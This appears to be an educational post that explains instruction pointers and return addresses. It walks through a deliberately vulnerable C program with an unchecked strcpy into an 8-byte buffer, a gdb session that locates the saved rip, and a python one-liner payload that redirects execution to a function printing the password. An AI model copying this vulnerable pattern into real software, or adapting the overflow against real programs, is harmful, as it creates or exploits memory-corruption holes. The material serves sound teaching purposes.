The instruction pointer is normally a register (a memory) on the microprocessor which increments with 4 (4 bytes) for a 32-bit system and 8 (i.e. 8 bytes) for a 64-bit system so that it points to the next instrution.
When the program enters a function, a saved instruction pointer (ip/rip/eip) is the return address, which is the address where the function should jump back after termination.
From what is said in the book, each memory address has one byte, and
each byte has a memory address.
That seems like an 8-bit computer then which is not our usual real situation. If we look at a certain program for example:
#include <stdio.h>
#include <string.h>
char * pwd = "pwd0";
void print_my_pwd() {
printf("your pwd is: %s\n", pwd);
}
int check_pwd(char * uname, char * upwd) {
char name[8];
strcpy(name, uname);
if (strcmp(pwd, upwd)) {
printf("non authorized\n");
return 1;
}
printf("authorized\n");
return 0;
}
int main(int argc, char ** argv) {
check_pwd(argv[1], argv[2]);
return 0;
}
I can build it and examine it with gdb.
$ make
gcc -O0 -ggdb -o main main.c -fno-stack-protector
$ gdb main
GNU gdb (Ubuntu 8.2-0ubuntu1~18.04) 8.2
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from main...done.
(gdb) b check_pwd
Breakpoint 1 at 0x76c: file main.c, line 12.
(gdb) run joe f00b4r42
Starting program: /home/developer/main joe f00b4r42
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Breakpoint 1, check_pwd (uname=0x7fffffffdc01 "joe", upwd=0x7fffffffdc05 "f00b4r42") at main.c:12
12 strcpy(name, uname);
(gdb) info frame
Stack level 0, frame at 0x7fffffffd6d0:
rip = 0x55555555476c in check_pwd (main.c:12); saved rip = 0x5555555547ef
called by frame at 0x7fffffffd6f0
source language c.
Arglist at 0x7fffffffd6c0, args: uname=0x7fffffffdc01 "joe", upwd=0x7fffffffdc05 "f00b4r42"
Locals at 0x7fffffffd6c0, Previous frame's sp is 0x7fffffffd6d0
Saved registers:
rbp at 0x7fffffffd6c0, rip at 0x7fffffffd6c8
You see above that the saved rip
(the instruction pointer) is at 0x7fffffffd6c8
with the value 0x5555555547ef
(important difference between where it is and what it is). I can purposely overflow the program to overwrite this value with something else which I know:
(gdb) p &name
$1 = (char (*)[8]) 0x7fffffffd6b8
(gdb) p &print_my_pwd
$2 = (void (*)()) 0x55555555473a <print_my_pwd>
(gdb) Quit
Now I know the distance between name
and rip
(not the values but their locations): 0x7fffffffd6c8 - 0x7fffffffd6b8 = 16. So I write 16 bytes into the location of name
so that I will write into the value of rip
and what I write is the location of print_my_pwd
which is UUUUG:
and backwards because it is little-endian computer:
$ ./main $(python -c "print 'AAAAAAAAAAAAAAAA:GUUUU'") B
non authorized
your pwd is: pwd0
Segmentation fault (core dumped)
$
As you see, the input caused an overflow and wrote over the value of the instruction pointer and caused the instruction pointer to jump to the location of the function which prints the password.
Don't write code like this in real life but hopefully it helps to understand how it works and doesn't work when you don't check the bounds of your input.